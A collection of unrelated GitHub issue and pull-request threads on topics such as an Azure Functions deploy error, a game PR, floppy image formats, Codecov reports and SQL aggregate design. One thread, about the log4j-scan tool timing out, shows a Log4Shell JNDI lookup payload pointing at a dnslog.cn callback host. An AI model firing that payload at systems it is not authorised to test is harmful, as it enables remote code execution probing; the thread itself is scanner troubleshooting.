Hi @Place1, I've your suggestion with an example of this repository and it doesn't seems to work. Have you tried that on this repository?


Failed to deploy path that does not exist

Repro steps:

Action: azureFunctions.deploy
Error type: Error
Error Message: Failed to deploy path that does not exist: c:\Users\britgp1-dev\prj\AzDev\testTest\bin\Release\netcoreapp2.1\publish
Version: 0.17.1
OS: win32
Product: Visual Studio Code
Product Version: 1.36.1
Language: en

Call Stack
Object.<anonymous> extension.bundle.js:332:5208
o extension.bundle.js:332:4796

@GJP123 please add repro steps


Moving Target

About the PR

Added a moving target to the secfab
Why / Balance

Fun for target practice!
Technical details

Media

[X] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

Breaking changes

Changelog

https://github.com/space-wizards/space-station-14/assets/149967078/277e7d3a-f418-4bf4-b7a2-b84f23f247e3

:cl:

add: Added a moving target to the secfab.

is it cognizinable?

It should be possible to turn it on and off.  And it should have a different sprite.  anything with wheels or chassis.

It should be possible to turn it on and off. And it should have a different sprite. anything with wheels or chassis.

would be funny if it was just the normal target but with roller skates

is it cognizinable?

No

It should be possible to turn it on and off.  And it should have a different sprite.  anything with wheels or chassis.

Not sure how I can do that without making a whole new toggleable random walk component

pro idea just have conveyors able to move targets then have conveyor loop in target practice area

pro idea just have conveyors able to move targets then have conveyor loop in target practice area

go ping emisse then

pro idea just have conveyors able to move targets then have conveyor loop in target practice area

I believe they can when unanchored, but this has erratic movement, which is good for practice(players move erratically too)

this really just looks kinda janky

RandomWalkController is really not built for mob movement (it assumes the target is a dynamic body not KC) and is pretty bad anyway.


Sunsetting of LibSpotify

Any plans of migrating the component to Web Playback SDK now that LibSpotify is gone?

Web Playback can only be used in browsers. And I don't thinks it's possible to integrate browser playback properly in fb2k, since such playback is encapsulated in browser and can't be transformed to raw data that is needed by fb2k.
Also see #68


Question about Hard Sector - NorthStar Image

I have several Northstar images in .NSI format (Sector Dumps).  These floppy's are 10 Sectors (Hard Sectors)
and are 512 Bytes per sector for 35 Sectors times 2 Sides - (((10 * 512) * 35) * 2) =  358,400 Bytes per
Image.
If I use HxC to load the RAW Sector Dump and create a valid *.SCP file will it be possible to write a floppy
with the Fluxengine that a Northstar will accept?
Thanks.
Larry

I have no idea about HxC --- sorry. FluxEngine can natively handle .nsi images so you should be able to write them directly. For your files, use the northstar350 profile. Also, please let me know if it works, as I'm not sure this has been tested in the wild.
Regarding writing SCP files: yes, this can work, but you have to prepare them correctly (they must contain exactly one revolution of data). Also, this is even less tested!

Writing .nsi files to disks should work.  Please make sure to use a 300RPM 48TPI drive, and adjust the spindle speed to exactly 300RPM.
Also make sure the FluxEngine hardware is programmed with the latest firmware, there was a recent fix to the hard sector pulse counting.
-Howard

@ldkraemer  Yes the HxC software support Hard-sectored NSI images, but the SCP files with the current format specification can't support Hard sectored disk (No sector index information). Use the HFEv3, Kryoflux Raw flux or the HxC Pauline dumper stream file format instead.


feat(#9): Implement FromLoader for the root query

Codecov Report

Merging #38 (90483db) into develop (8631b7c) will increase coverage by 0.08%.
The diff coverage is 91.97%.

@@             Coverage Diff             @@
##           develop      #38      +/-   ##
===========================================
+ Coverage    79.31%   79.39%   +0.08%
===========================================
  Files          257      257
  Lines        16226    16271      +45
  Branches      1344     1348       +4
===========================================
+ Hits         12869    12919      +50
+ Misses        2865     2864       -1
+ Partials       492      488       -4

Impacted Files
Coverage Δ

...s/FIlterableAndSortableAndGroupableFieldBuilder.cs
85.18% <ø> (ø)

...mplementations/SortableAndGroupableFieldBuilder.cs
100.00% <ø> (ø)

...ojection/Implementations/ProjectionFieldBuilder.cs
100.00% <ø> (+42.85%)
:arrow_up:

...Implementations/BaseObjectGraphTypeConfigurator.cs
76.45% <ø> (-1.82%)
:arrow_down:

...ations/Fields/ChildFields/ConnectionLoaderField.cs
100.00% <ø> (ø)

...ons/Fields/ChildFields/ConnectionQueryableField.cs
71.42% <ø> (ø)

...ementations/Fields/ChildFields/GroupLoaderField.cs
100.00% <ø> (ø)

...plementations/Fields/ChildFields/QueryableField.cs
96.07% <ø> (-0.80%)
:arrow_down:

src/Epam.GraphQL/Filters/Filter.cs
100.00% <ø> (+33.33%)
:arrow_up:

...Configuration/Implementations/Fields/QueryField.cs
72.00% <63.15%> (-28.00%)
:arrow_down:

... and 17 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8631b7c...90483db. Read the comment docs.


EXCEPTION: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

┌──(rootbughunter)-[/opt/log4j-scan]
└─# python3 log4j-scan.py -u "http://ip:port" --dns-callback-provider dnslog.cn
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (dnslog.cn).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://ip:port
[•] URL: http://ip:port | PAYLOAD: ${jndi:ldap://ip.kdznjq.dnslog.cn/pkoq5vc}
EXCEPTION: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
TTraceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 445, in _make_request
six.raise_from(e, None)
File "", line 3, in raise_from
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 440, in _make_request
httplib_response = conn.getresponse()
File "/usr/lib/python3.9/http/client.py", line 1377, in getresponse
response.begin()
File "/usr/lib/python3.9/http/client.py", line 320, in begin
version, status, reason = self._read_status()
File "/usr/lib/python3.9/http/client.py", line 281, in _read_status
line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")
File "/usr/lib/python3.9/socket.py", line 704, in readinto
return self._sock.recv_into(b)
socket.timeout: timed out
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 439, in send
resp = conn.urlopen(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 755, in urlopen
retries = retries.increment(
File "/usr/lib/python3/dist-packages/urllib3/util/retry.py", line 532, in increment
raise six.reraise(type(error), error, _stacktrace)
File "/usr/lib/python3/dist-packages/six.py", line 719, in reraise
raise value
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 699, in urlopen
httplib_response = self._make_request(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 447, in _make_request
self._raise_timeout(err=e, url=url, timeout_value=read_timeout)
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 336, in _raise_timeout
raise ReadTimeoutError(
urllib3.exceptions.ReadTimeoutError: HTTPConnectionPool(host='www.dnslog.cn', port=80): Read timed out. (read timeout=30)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/opt/log4j-scan/log4j-scan.py", line 337, in
main()
File "/opt/log4j-scan/log4j-scan.py", line 326, in main
records = dns_callback.pull_logs()
File "/opt/log4j-scan/log4j-scan.py", line 150, in pull_logs
req = self.s.get("http://www.dnslog.cn/getrecords.php", timeout=30)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 555, in get
return self.request('GET', url, **kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 542, in request
resp = self.send(prep, **send_kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 655, in send
r = adapter.send(request, **kwargs)
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 529, in send
raise ReadTimeout(e, request=request)
requests.exceptions.ReadTimeout: HTTPConnectionPool(host='www.dnslog.cn', port=80): Read timed out. (read timeout=30)

+1 - same issue here. But I'm somewhat new and trying this on a Kali linux default box. May be missing certain requirements on the urllib3???
<also dont know what i'm talking about)

DNSLog.cn and interact.sh are getting constant outages on the past days due to the heavy usage. I would recommend using Burp Collaborator option instead for the time being or setting up a self-host interact server


Benefits of writing file to disk after webpack finished running?

Shall we write the file to disk only after Webpack finished bundling our code? We could make use the compiler done callback as noted here on the official docs.
function HelloWorldPlugin(options) {
  // Setup the plugin instance with options...
}

HelloWorldPlugin.prototype.apply = function(compiler) {
  compiler.plugin('done', function() {
    console.log('Hello World!');
  });
};

module.exports = HelloWorldPlugin;

yes! please do it

also - create full path directories recursively, not only one level


Fixed issues #7 and #9 Co-authored-by<EMAIL_ADDRESS>

Do not merge this branch yet. I just saw that the linter does not like the code formatting (sry for not checking that ahead of committing). And there are still a few other issues we first need to talk about with all the devs
Signed-off-by: Lukas Rotsching<EMAIL_ADDRESS>

Since we merged our branch today with the working branch of the backend team and we are going to merge the 'cli-backend-merge' branch which already includes all commits from this branch, this pull request is no longer required and must NOT be merged into main


CI should validate cmd/gdmd/README.md is kept up to date

When code is changed, the repository
I'm not talking about something to add to the tool, but to the GHA
I updated code with #11, and I forgot to update the README

Here I had to update the manually #14


BUG: GateFilter plugin works on ndarray fields

The GateFilter plugin works on radar volumes which contain fields where the
data is stored as an ndarray not a MaskedArray object.
closes #121

A NetCDF file which when read with Py-ART has a field whose data is an ndarray useful for testing.  You will need to zoom in to see the data as the spatial extent of this data is ~ 1 km by 1 km.

I think gatefilter.py is the only file I think this happens, but I'm not sure. Did you run a search to try to find it? If yes, then this would be good to merge @nguy.
Thank you @jjhelmus

I searched through the code and found one other use of the mask attribute that might cause an issue.  Fixed in 89f73a2.  This should be good to go.

I agree this is good to go. Please merge @nguy.

@jjhelmus this looks like a nice fix!

Good catch @nguy, added the missing parenthesis.

@jjhelmus Great work!
Any chance I could get you to change L373 from:
common.ShowWarning("Radar is None, can not perform filtering.")
to
common.ShowWarning("Radar is None, cannot perform filtering.")?
I'll merge then.

Done

Awesome, thanks again @jjhelmus ! Merging.


|Needs updating

Message expiry (delivery retry) is now 24 rather than 28 hours

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 291ffc45-3b90-c68b-7c57-0f46f57fc6f5
Version Independent ID: cfb759bf-de5c-5ca3-3c0a-b39481021f29
Content: Queue alerts and Queues
Content Source: microsoft-365/security/office-365-security/mfi-queue-alerts-and-queues.md
Service: o365-seccomp
GitHub Login: @chrisda
Microsoft Alias: chrisda

@aldoug  - Thank you for submitting feedback.
I will get this issue over to the Microsoft 365 writing team for investigation.
Thank you for reporting and making the docs better. Much appreciated.
I made a note to request the team to update this when the work is complete.


Initial version of a devcontainer for Verible

Initial version of the .devcontainer/ directory and configuration.
This devcontainer uses a Dockerfile based on the Microsoft CPP container, augmented to install Bazel, clang-format, and clang-tidy.
With the devcontainer, developers can clone the repo, and open it within a standard container definition.

@hzeller : Can you review and consider approving?

@corco: Please let me know if there are any other changes needed.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (a4d61b1) 92.95% compared to head (d9fd2a6) 92.95%.

:exclamation: Current head d9fd2a6 differs from pull request most recent head 4522d99. Consider uploading reports for the commit 4522d99 to get more accurate results

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@           Coverage Diff           @@
##           master    #2068   +/-   ##
=======================================
  Coverage   92.95%   92.95%
=======================================
  Files         358      358
  Lines       26446    26446
=======================================
  Hits        24583    24583
  Misses       1863     1863

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Hi @corco : I don't have write access to the repo, so I can't merge this PR. Can you please merge it or grant me write access?
Thanks.

@corco / @hzeller : Please merge as I don't have write access.

Can you add a README to the directory that explains what this is for possibly with links pointing to documentation ?
It looks like a editor configuration for a specific (vscode ?); so for everyone else they then can see if this is relevant for them.

Please add the environment variable USE_BAZEL_VERSION with value "6.5.0" in the devcontainer.json. Right now the devcontainer would use bazel 7.0 which is not able to compile verible. That environment variable should make it use a compatible bazel version

Recent changes should make it possible to compile with Bazel 7, so maybe the USE_BAZEL_VERSION might not be needed.
Since I can't test the devcontainer stuff I can't test that myself. Passing on to @corco (who can have a look next week when back)
@kbrunham-intel : can you add a README in the directory briefly explaining what it is for ?


update 'no Oasys' nomsNumber

Using work merged in this AP Tools PR: https://github.com/ministryofjustice/hmpps-approved-premises-tools/pull/67
We will shortly be restricting referrer
permissions to only create applications for
offenders within the same prison. The previous
nomsNumber used here did not have prison data, and a new one has been added in AP Tools with more
detail here:
https://github.com/ministryofjustice/hmpps-approved-premises-tools/pull/67s

it looks like our Pact contract testing is failing on some types... will update in another PR

oh there is an error in the shared types, following up here https://mojdt.slack.com/archives/C03K0HB0LBE/p1715770815911229?thread_ts=1715770716.112979&cid=C03K0HB0LBE


Aggregates

Implement support for aggregates in projection, starting with max.
Aggregation implies grouping, so we will also need to support :with and be careful to deliberately hit the number-of-heads bug.

Note also that SQLite supports distinct aggregates:
SELECT sum(distinct x) FROM foo

which matches our set-based logic.

“Query variables not in aggregate expressions will group the results and appear intact in the result.”
Generate SQL with a GROUP BY clause containing all non-aggregate columns in the projection, plus all columns in a :with clause. (SQLite allows for GROUP BY to refer to non-projected columns, behaving as a subquery, which is exactly what we want in this case.)
The resulting rows (including all variables used in aggregate expressions) should themselves be distinct. We might need work to do this.
The aggregate expressions should translate fairly neatly to SQL, modulo any lurking edge-case semantic differences in comparison:

(min ?xs) -> min(xs)
(max ?xs) -> max(xs)
(count ?xs) -> count(xs)
(count-distinct ?xs) -> count(distinct xs)
(sum ?xs) -> total(xs) (sum has its oddities)
(avg ?xs) -> avg(xs)
(median ?xs) — not yet.
(variance ?xs) — not yet.
(stddev ?xs) — not yet.

I believe that queries featuring aggregates must, in the general case, be produced with a subquery. That's because the aggregates are considered to apply to a basis set, the elements of which are unique across the projected and :with-preserved bindings.
So
[:find ?url ?title max(?visitTime)
 :in $ :with ?page :where
 [?page :page/url ?url]
 [?page :page/title ?title]
 [?page :visit/time ?visitTime]]

should result in
SELECT DISTINCT inner.url AS url, inner.title AS title, max(inner.visitTime) AS _max_visitTime
FROM (
  SELECT DISTINCT datoms123.v AS url, datoms…, … AS page
) AS inner
GROUP BY inner.url, inner.title, inner.page

The alternative is that the aggregate function is called for non-distinct rows — non-distinct with or without the influence of :with. That will yield results counter to the expected behavior of q. SELECT DISTINCT applies to values after grouping and aggregation.
It's a little perverse — after all, :with exists precisely to avoid unwanted pruning of results, and it might even be impossible to add enough columns to match SQL's usual behavior, which is a weakness — but so it goes.

N.B., type conversion plays in here. For instance, if I query :find (max ?date) against an attribute of type :db.type/instant, I expect the result to be converted accordingly.
I don't think we can simply extract type tags alongside the maxed value: SQLite doesn't guarantee which row from the group will contribute. Instead, this will require schema-aware projection. Fortunately, that's already in place for ordinary queries.

N.B., type conversion plays in here. For instance, if I query :find (max ?date) against an attribute of type :db.type/instant, I expect the result to be converted accordingly.
I don't think we can simply extract type tags alongside the maxed value: SQLite doesn't guarantee which row from the group will contribute. Instead, this will require schema-aware projection. Fortunately, that's already in place for ordinary queries.

Fixed in b2a1af30ed6f13ca72012a317b81a5a8127ecf3f.


ML model

Hello sir, I could not locate the locate the built  model(roberta-sequence-classification-9.onnx) for this code. I am a learner from Edx. I appreciate your timely feedback

I found it at https://github.com/onnx/models/blob/new-models/text/machine_comprehension/roberta/model/roberta-sequence-classification-9.onnx


examples/framework_usage/ does not exist

in https://serenity-rs.github.io/poise/current/poise/index.html#, it refers to "examples/framework_usage/ in the git repository", which isn't present here. perhaps a link to it could be added if it's elsewhere?

Thanks! Forgot about updating the references. Fixed in d96d56b1ed


Treeview node inline editor

Can vscode provides the API for treeview node inline editor?
Example, feature similar to the "rename file" [F2] action in file explorer.
Thanks!

duplicate of https://github.com/microsoft/vscode/issues/97190


[Docs] Reduce font size in Meshery REST API page

Current State
https://docs.meshery.io/reference/rest-apis uses overly large font sizes

Contributor Guides and Handbook

📚 Instructions for contributing to documentation

Meshery documentation site and source

🛠 Meshery Build & Release Strategy
🎨 Wireframes and designs for Meshery UI in Figma (open invite)
🙋🏾🙋🏼 Questions: Discussion Forum and Community Slack

Hi @leecalcote, can I work on this issue?

Sounds good. Thank you, @jasonmokk 👍